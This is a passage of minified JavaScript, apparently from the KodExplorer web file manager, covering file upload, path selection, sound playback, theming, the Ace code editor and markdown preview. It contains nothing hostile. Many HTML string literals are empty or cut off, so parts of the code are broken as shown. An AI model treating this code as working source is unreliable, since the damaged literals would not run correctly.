';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],!i&&e.serverData.data&&(i=e.serverData.data),Tips.tips(i,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/edit/edit",["./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist"],function(e){var t={},i=void 0,a=e("./preview");e("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),e.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),e.async("lib/ace/emmet.min.js",function(){e.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet")})});var n=ace.require("ace/lib/net");n.loadScript.hook("loadScript",n,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var o=ace.require("ace/mouse/default_handlers").DefaultHandlers;o.prototype.onMouseDown.hook("onMouseDown",o.prototype,function(){arguments[0].preventDefault=function(){return!0}});var s=ace.require("ace/virtual_renderer").VirtualRenderer;s.prototype.showComposition.hook("showComposition",s.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var r=ace.require("ace/editor").Editor;r.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",r.prototype,function(){return"hookReturn"});var l,c=function(e,i){if(void 0==i||void 0==e||1>t.length)return"";for(var a in t)try{if(t[a].kod[e]==i)return t[a].kod.uuid}catch(n){}return""},d=function(){var e={font_size:"15px",theme:"tomorrow",show_gutter:1,auto_wrap:1,auto_complete:1,function_list:1,tab_size:4,soft_tab:1,display_char:0,font_family:"Menlo",keyboard_type:"ace"};for(var t in e)G.code_config[t]===void 0&&(G.code_config[t]=e[t]);auto_function_list=parseInt(G.code_config.function_list),Toolbar.toolbarSelected(),k(),$("body").mouseup(function(e){var t=["markdown_menu_box","markdown_setting","markdown_help"];$.each(t,function(t,i){$(e.target).hasClass(i)||0!=$(e.target).parents("."+i).length||$("."+i).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(e,t){switch(stopPP(e),t){case"ctrl+f":case"command+f":break;default:}})},p=function(e){var t=core.pathExt(e),i=aceModeList.getModeForPath(e).name;if("text"==i)for(var a in core.fileOpenMode)if(-1!=$.inArray(t,core.fileOpenMode[a])){i=a;break}return i},u=function(e){var i,a="id_"+UUID();if(void 0==e||""==e||"undefined"==e)return i={uuid:a,name:"newfile.txt",charset:"utf-8",filename:"",mode:p("test.txt"),the_url:""},f(i),m(i),$(".edit_body .this").removeClass("this"),$(".edit_body pre#"+a).parent().addClass("this"),$(".tab_"+i.uuid).removeClass("loading"),x(),_(),Toolbar.toolbarSelected(),void 0;var n="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),i={charset:"utf-8",uuid:a,name:core.pathThis(e),filename:e,mode:p(e),the_url:n},f(i),t[i.uuid]={kod:{filename:i.filename}},$.ajax({dataType:"json",url:n,error:function(e,t,a){z(i.uuid),core.ajaxError(e,t,a)},success:function(e){if($(".tab_"+i.uuid).removeClass("loading"),!e||!e.code)return z(i.uuid),Tips.tips(e);if(0==$("#"+i.uuid).length)return z(i.uuid),void 0;if(!e.code)return Tips.tips(e),z(i.uuid),void 0;var n=e.data;1==n.base64&&(n.content=base64Decode(n.content));var o="";if("php"==n.ext&&0==n.content.indexOf(o)){var s=n.content.substr(o.length);n.content=o+js_beautify(s),i.mode=p("test.json")}"oexe"==n.ext&&(n.content=js_beautify(n.content)),t[a]=void 0,$("#"+a).text(n.content),m(i);var r=t[a];r.kod.charset=n.charset,r.kod.base64=n.base64,r.navigateTo(0),r.moveCursorTo(0,0),R(),x(),_(),Toolbar.toolbarSelected()}})},f=function(t){var i=core.iconSmall(core.pathExt(t.name)),a='";$(a).insertBefore(".edit_tab .add");var n=e("./tpl/edit_tab_content.html"),o=template.compile(n),s=o({LNG:LNG,uuid:t.uuid});if($(".edit_body .tabs").append(s),b(t.uuid),Tap.resetWidth("add"),k(),"markdown"==t.mode&&$.getUrlParam("sid")){var r=$("#"+t.uuid).parent(".edit_content");r.addClass("markdown_full_page")}},h=function(e){clearTimeout(l),l=!1,l=setTimeout(function(){try{e.kod.preview.editChange()}catch(t){}},300)},m=function(e){var i=ace.edit(e.uuid);i.setTheme("ace/theme/"+G.code_config.theme),void 0!=e.mode&&i.getSession().setMode("ace/mode/"+e.mode),i.getSession().setTabSize(parseInt(G.code_config.tab_size)),i.getSession().setUseSoftTabs(parseInt(G.code_config.soft_tab)),i.getSession().setUseWrapMode(parseInt(G.code_config.auto_wrap)),i.renderer.setShowGutter(parseInt(G.code_config.show_gutter)),i.renderer.setScrollMargin(0,100,0,0),"ace"==G.code_config.keyboard_type?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type),i.setShowPrintMargin(!1),i.setPrintMarginColumn(120),i.$blockScrolling=1/0,i.setDragDelay(20),i.setShowInvisibles(parseInt(G.code_config.display_char)),i.setFontSize(G.code_config.font_size),i.setAnimatedScroll(!0),i.setOptions({enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),i.on("change",function(){L(i,!0),h(i)}),i.on("changeSelection",function(){M()}),i.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(e){N(e.kod.uuid)}}),i.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(){Toolbar.doAction("function_list")}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(){Toolbar.doAction("preview")}}),i.commands.addCommand({name:"showKeyboardShortcuts",bindKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(e){ace.config.loadModule("ace/ext/keybinding_menu",function(t){t.init(e),e.showKeyboardShortcuts()})}}),i.commands.addCommand({name:"convertIndent",exec:function(e,t){ace.config.loadModule("ace/ext/whitespace",function(i){var a={reset_size:G.code_config.soft_tab?" ":" ",to_space:" ",to_tabs:" "},n=a[t];e.session.setTabSize(G.code_config.tab_size),e.session.setUseSoftTabs(G.code_config.soft_tab),i.detectIndentation(e.session),i.convertIndentation(e.session,n,G.code_config.tab_size),i.trimTrailingSpace(e.session,n)})}}),i.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(e){return"ace/mode/php"!=e.session.$modeId?(Tips.tips("Only for php mode!","warning"),void 0):(ace.config.loadModule("ace/ext/beautify",function(t){t.beautify(e.session)}),void 0)}}),i.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e)})}}),i.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e,!0)})}}),i.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(){Editor.searchBox&&Editor.searchBox.hide()}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-command-G",mac:"Ctrl-command-G"},exec:function(e){e.findAll(e.session.getTextRange()),M()}}),i.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(){Toolbar.doAction("refresh")}}),e.mode||(e.mode=""),i.kod={mode:e.mode,uuid:e.uuid,name:e.name,base64:!1,charset:"utf-8",the_url:e.the_url,filename:e.filename},i.hasChanged=!1,t[e.uuid]=i,i.kod.preview=new a(i),g()},_=function(){var e=F();if(e){e.focus(),e.resize();try{var t=window.parent.$.dialog.list.openEditor,i=Editor.current().kod.filename,a=' '+htmlEncode(i);if(t){t.title(a);var n="./index.php?editor/edit";G.sid!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid),n=n+"#filename="+urlEncode(i),window.parent.$(".openEditor .aui_content iframe").attr("src",n)}}catch(o){}}},v=function(e,t){try{Editor.current().completer.popup.hide()}catch(a){}$(".edit_tab .this").removeClass("this"),$(".edit_tab .tab_"+e).addClass("this"),i=e,t&&$(".edit_tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),_(),M(),E(),x(),Toolbar.toolbarSelected(),g()},g=function(){var e=F();e&&void 0!==e.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},b=function(e,t){void 0!=e&&""!=e&&($(".edit_body .this").removeClass("this"),$(".edit_body #"+e).parent().addClass("this"),v(e,t),D(function(t){t.ui.tree.setSelect($(".tab_"+e).attr("title"))}))},y=function(e,a,n){var o=t;$.extend(!0,{},G.code_config),void 0!=n&&(o={},o[n]?o[n]=t[n]:o[i]=t[i]);var s=function(e){var t=Number(!Number(e));return isNaN(t)?0:t};a!==void 0?G.code_config[e]=a:(G.code_config[e]=s(G.code_config[e]),a=G.code_config[e]),Toolbar.toolbarSelected();for(var r in o){var l=o[r];if(l&&l.kod&&l.resize)switch(-1!=$.inArray(e,["font_size","auto_wrap","font_family"])&&h(l),e){case"theme":l.setTheme("ace/theme/"+a);break;case"tab_size":l.getSession().setTabSize(parseInt(a));break;case"show_gutter":l.renderer.setShowGutter(parseInt(a));break;case"soft_tab":l.getSession().setUseSoftTabs(parseInt(a));break;case"font_size":l.setFontSize(parseInt(a));break;case"auto_wrap":l.getSession().setUseWrapMode(parseInt(a));break;case"display_char":l.setShowInvisibles(parseInt(a));break;case"font_family":k();break;case"keyboard_type":"ace"==G.code_config.keyboard_type?l.setKeyboardHandler():l.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type);break;case"function_list":break;case"auto_complete":l.setOptions({enableLiveAutocompletion:G.code_config[e]}),l.$enableBasicAutocompletion=G.code_config[e];break;default:}}$.ajax({url:"./index.php?editor/setConfig&k="+e+"&v="+G.code_config[e],dataType:"json",success:function(){}})},k=function(){var e=G.code_config.font_family;e="'"+e+"',Monaco,Menlo,Consolas,source-code-pro,'Liberation Mono','Ubuntu Mono',Courier,'Helvetica Neue','Microsoft Yahei','微软雅黑','Lantinghei SC',STXihei,WenQuanYi,sans-serif",$(".ace_editor_content").css("font-family",e)},w=function(e){var i=t;for(var a in i){var n=i[a];if(n&&n.kod&&n.resize)switch(e){case"resize":n.resize();break;case"setting":n.commands.exec("showSettingsMenu",n);break;default:}}"resize"==e&&x()},x=function(){var e=F();if(e){var t=$("#"+e.kod.uuid).parent().find(".edit_right_frame"),i=0;
-t.hasClass("hidden")||(i=100*(t.width()/$(window).width())),$(".edit_body .bottom_toolbar").css("right",i+"%")}},L=function(e,t){t!=e.hasChanged&&(e.hasChanged=t,$(".edit_tab .tabs .tab_"+e.kod.uuid).toggleClass("edit_changed"))},N=function(e,a){if(void 0!=i){void 0==e&&(e=i),void 0==a&&(a=!1);var n=t[e];if(n.hasChanged){if(void 0==n||""==n)return Tips.tips(LNG.data_error,"warning"),void 0;F().focus();var o=n.kod.filename;""==o?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(e){T(n,e,a)}):T(n,o,a)}}},C=function(){for(var e in t)""!=t[e].kod.filename&&N(e)},T=function(e,t,i){var a={path:t,charset:e.kod.charset,filestr:e.getValue()},n="./index.php?editor/fileSave";G.share_page!==void 0&&(n="./index.php?share/fileSave&user="+G.user+"&sid="+G.sid),e.kod.base64&&(a.base64="1",a.filestr=base64Encode(a.filestr)),a.filestr=urlEncode(a.filestr),""==e.kod.filename&&(a.create_file=1),Tips.loading(LNG.getting,!0),$(".tab_"+e.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:n,data:a,error:core.ajaxError,success:function(a){return $(".tab_"+e.kod.uuid).removeClass("loading"),a.code?(Tips.close(LNG.success,!0),""==e.kod.filename&&(e.kod.filename=t,S(e)),L(e,!1),_(),i&&z(e.kod.uuid),void 0):(Tips.close(a,!1),void 0)}})},S=function(e){var t=e.kod.filename;e.kod.name=core.pathThis(t),e.kod.mode=p(t),e.kod.the_url="./index.php?editor/fileGet&filename="+t;var i=$(".tab_"+e.kod.uuid);i.attr("title",t),i.find(".name").html(e.kod.name)},j=function(e){if(void 0==e&&(e=i),void 0==t[e])return z(e),void 0;var a=t[e];a.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:a.kod.name+" "+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){N(e,!0)}},{name:LNG.button_not_save,callback:function(){z(e)}}]}):z(e)},z=function(e){delete t[e];var i="",a=$(".edit_tab .tab"),n=$(".edit_tab .tab_"+e),o=$(".edit_body pre#"+e).parent();n.removeClass("edit_tab_menu"),n.hasClass("this")?($(a[0]).attr("uuid")==e?i=$(a[1]).attr("uuid"):a.each(function(){var t=$(this).attr("uuid");return t==e?!1:(i=t,void 0)}),""!=i&&$(".edit_body pre#"+i).addClass("this"),o.remove(),Tap.resetWidth("remove",n,i)):(o.remove(),Tap.resetWidth("remove",n)),E()},E=function(){0==$(".edit_body .tabs .edit_content").length?(F()&&F().kod.preview.close(),$(".disable_mask,.introduction").removeClass("hidden"),$(".bottom_toolbar").addClass("hidden"),$(".edit_body .tabs").addClass("hidden")):($(".disable_mask,.introduction").addClass("hidden"),$(".bottom_toolbar").removeClass("hidden"),$(".edit_body .tabs").removeClass("hidden")),D(function(e){var t=[];$(".edit_tab .tabs .edit_tab_menu").each(function(){var e=$(this).attr("title");e&&t.push(e)}),e.ui.fileHistory(t)})},D=function(e){ShareData.frameTop("",function(t){t.Config&&"editor"==t.Config.pageApp&&0!=t.$("#page_editor").length&&"function"==typeof e&&e(t)})},P=function(){for(var e in t)try{if(t[e].hasChanged)return!0}catch(i){}return!1},A=function(e){core.setSkin(e)},F=function(){return i&&t[i]&&t[i].focus?t[i]:!1},O=function(e){var i=F();e&&(i=t[e]);var a=i.kod.the_url,e=i.kod.uuid;return""==a?(Tips.tips(LNG.not_exists,"warning"),void 0):(Tips.loading(LNG.getting,!0),$(".tab_"+e).addClass("loading"),$.ajax({dataType:"json",url:a,error:function(t,i,a){Tips.close(),$(".tab_"+e).removeClass("loading"),core.ajaxError(t,i,a)},success:function(t){if(Tips.close(),$(".tab_"+e).removeClass("loading"),!t.code)return Tips.close(t),void 0;Tips.close(LNG.success,!0);var a=t.data;1==a.base64&&(a.content=base64Decode(a.content));var n="";if(null==a.content&&(a.content=""),"php"==a.ext&&0==a.content.indexOf(n)){var o=a.content.substr(n.length);a.content=n+js_beautify(o)}"oexe"==a.ext&&(a.content=js_beautify(a.content)),i.kod.charset=a.charset,i.kod.base64=a.base64,i.getSession().setValue(a.content);var s=i.getFirstVisibleRow();i.scrollToLine(s),L(i,!1)}}),void 0)},R=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var e=ShareData.data("FILE_SEARCH_AT"),t=F(),i={row:e.line-1,column:0};e.lineIndex-->=0;){t.selection.moveTo(i.row,i.column);var a=-1==e.lineIndex?!0:!1,n=t.find(e.search,{},a);i=n.end}t.session.highlight(t.$search.$options.re),t.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},I=function(e){e||(e=G.code_config.theme);var t=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(t,e)?!0:!1},M=function(){var e=Editor.current();if(e){var t=e.selection.getCursor(),i=t.row+1+":"+(t.column+1);e.selection.rangeCount>1&&(i+=" ["+e.selection.rangeCount+"]");for(var a=e.selection.getAllRanges(),n=0,o=0,s=0;a.length>s;s++){var r={start:a[s].start,end:a[s].end},l=e.selection.doc.getTextRange(r);n+=l.length,o+=r.end.row-r.start.row+1}n>0&&(i+=" ("+n+" ~ "+o+")"),$(".editor_position").html(i)}};return{init:d,current:F,getParentEditor:D,hasFileSave:P,saveConfig:y,doAction:w,setTheme:A,isBlackTheme:I,select:b,remove:j,save:N,saveall:C,refresh:O,getFileMode:p,aceModeList:aceModeList,add:function(e){e=urlDecode(e);var t=c("filename",e);""!=t?(b(t,!0),R()):u(e)}}}),define("app/src/edit/preview",["./preview_markdown","./function_list","./markdownTools"],function(e){return function(t){var i=$("#"+t.kod.uuid).parent(".edit_content"),a=i.find(".edit_right_frame"),n=$("#"+t.kod.uuid),o=i.find(".function_list_frame"),s=i.find(".preview_url_frame"),r=i.find(".preview_markdown_frame"),l=e("./preview_markdown"),c=e("./function_list"),d=e("./markdownTools"),p=new l(t),u=new c(t),f=10,h=function(){i.find(".preview_url_tool input").keyEnter(L);var e=i.find(".resize"),t=0;e.drag({start:function(){t=a.width(),e.addClass("resize_active"),$("body").css("cursor","col-resize"),a.append('
'),a.addClass("can_not_select")},move:function(i){var o=t-i,s=$(window).width();o>=s-f&&(o=s-f),f>=o&&(o=f),n.width(s-o),a.width(o),e.css("left",s-o+"px")},end:function(){e.removeClass("resize_active"),$("body").css("cursor","default"),a.find(".mask_view").remove(),a.removeClass("can_not_select"),m()}})},m=function(){if(0==$(".markdown_full_page").length){if(a.is(":visible")){var e=a.width(),t=$(window).width();e>=t-f&&(e=t-f),f>=e&&(e=f);var s=100*parseFloat(e/t);a.width(s+"%"),n.width(100-s+"%");var l=i.find(".resize");l.css("left",100-s+"%"),o.is(":visible")&&a.attr("data-size-width",e),r.is(":visible")&&p.refreshScroll()}Editor.doAction("resize")}},_=function(){i.find(".edit_right_frame .box a,.function_list_tool .box a,[markdown_action]").bind("click",function(t){var a=$(this).attr("class");switch($(this).attr("markdown_action")&&(a=$(this).attr("markdown_action")),a){case"tool_markdown_menu":if(i.find(".markdown_menu_box").toggleClass("hidden"),!i.find(".markdown_menu_box").hasClass("hidden")){var n=p.markdownMenu(i.find(".markdown_preview"));i.find(".markdown_menu_box .content").html(n)}break;case"tool_markdown_download_html":p.markdownDownload(i.find(".markdown_preview").html(),"html");break;case"tool_markdown_download_pdf":p.markdownDownload(i.find(".markdown_preview").html(),"pdf");break;case"tool_markdown_download_markdown":p.markdownDownload("","md");break;case"tool_markdown_full":i.toggleClass("markdown_full"),i.hasClass("markdown_full")&&(i.find(".ace_editor").css("width","50%"),i.find(".edit_right_frame").css("width","50%"),i.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool_markdown_setting":i.find(".markdown_setting").toggleClass("hidden");break;case"tool_markdown_help":if(""==i.find(".markdown_help .content").html()){var n="";n="zh-CN"==G.lang||"zh-TW"==G.lang?e("./tpl/markdown_help_cn.html"):e("./tpl/markdown_help.html"),i.find(".markdown_help .content").html(n)}i.find(".markdown_help").toggleClass("hidden");break;case"tool_markdown_max":i.toggleClass("markdown_full_page"),i.hasClass("markdown_full_page")||m();break;case"tool_open_url":b();break;case"tool_refresh":L();break;case"tool_close":x();break;case"tool_markdown_help":break;default:}return stopPP(t),!1})},v=function(e){var l=0;if(a.removeClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").removeClass("hidden"),"function_list"==e)o.removeClass("hidden"),l=200,u.refresh(),a.find(".function_search input").focus();else if("markdown"==e)l=.51*$(window).width(),r.removeClass("hidden"),p.refresh(),d.bindEvent(i,t);else if("html"==e){l=.5*$(window).width(),s.removeClass("hidden");var c=t.kod.filename;c=core.path2url(c),a.find(".preview_url_tool input").val(c),a.find("iframe").attr("src",c)}a.css({width:l}),n.css({width:$(window).width()-l}),m()},g=function(){o.hasClass("hidden")?r.hasClass("hidden")||p.refresh():u.refresh()},b=function(e){if(r.hasClass("hidden"))window.open(i.find(".preview_url_frame input").attr("value"));else{var t=p.markdown2html(i.find(".markdown_preview").html()),a=window.open("","_blank","");a.document.open("text/html","replace"),a.opener=null,a.document.write(t),a.document.close()}stopPP(e)},y=function(){return u.support(t.kod.mode)?(o.hasClass("hidden")?(auto_function_list=1,v("function_list")):(auto_function_list=0,x()),Editor.saveConfig("function_list",auto_function_list),void 0):(Tips.tips(LNG.not_support,"warning"),void 0)},k=function(){a.hasClass("hidden")?w()||v("html"):r.hasClass("hidden")&&v("html")},w=function(){return auto_function_list&&u.support(t.kod.mode)?(v("function_list"),!0):"markdown"==t.kod.mode?(v("markdown"),!0):!1},x=function(){(s.hasClass("hidden")||!w())&&(a.addClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").addClass("hidden"),$(".markdown_full_page").removeClass("markdown_full_page"),n.css("width","100%"),Editor.doAction("resize"))},L=function(){var e=i.find(".preview_url_tool input"),t=e.attr("value");i.find(".open_ie").attr("href",t),i.find("iframe").attr("src",t)},N=function(){h(),_(),w();var e,n=function(){clearTimeout(e),e=!1,e=setTimeout(function(){o.is(":visible")&&(a.width(a.attr("data-size-width")),m())},10)};$(window).bind("resize",n),d.bindEvent(i,t)};return N(),{open:v,editChange:g,close:x,resize:m,openFunctionList:y,previewForce:k}}}),define("app/src/edit/preview_markdown",[],function(e){var t=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+=''+$(this).text()+" 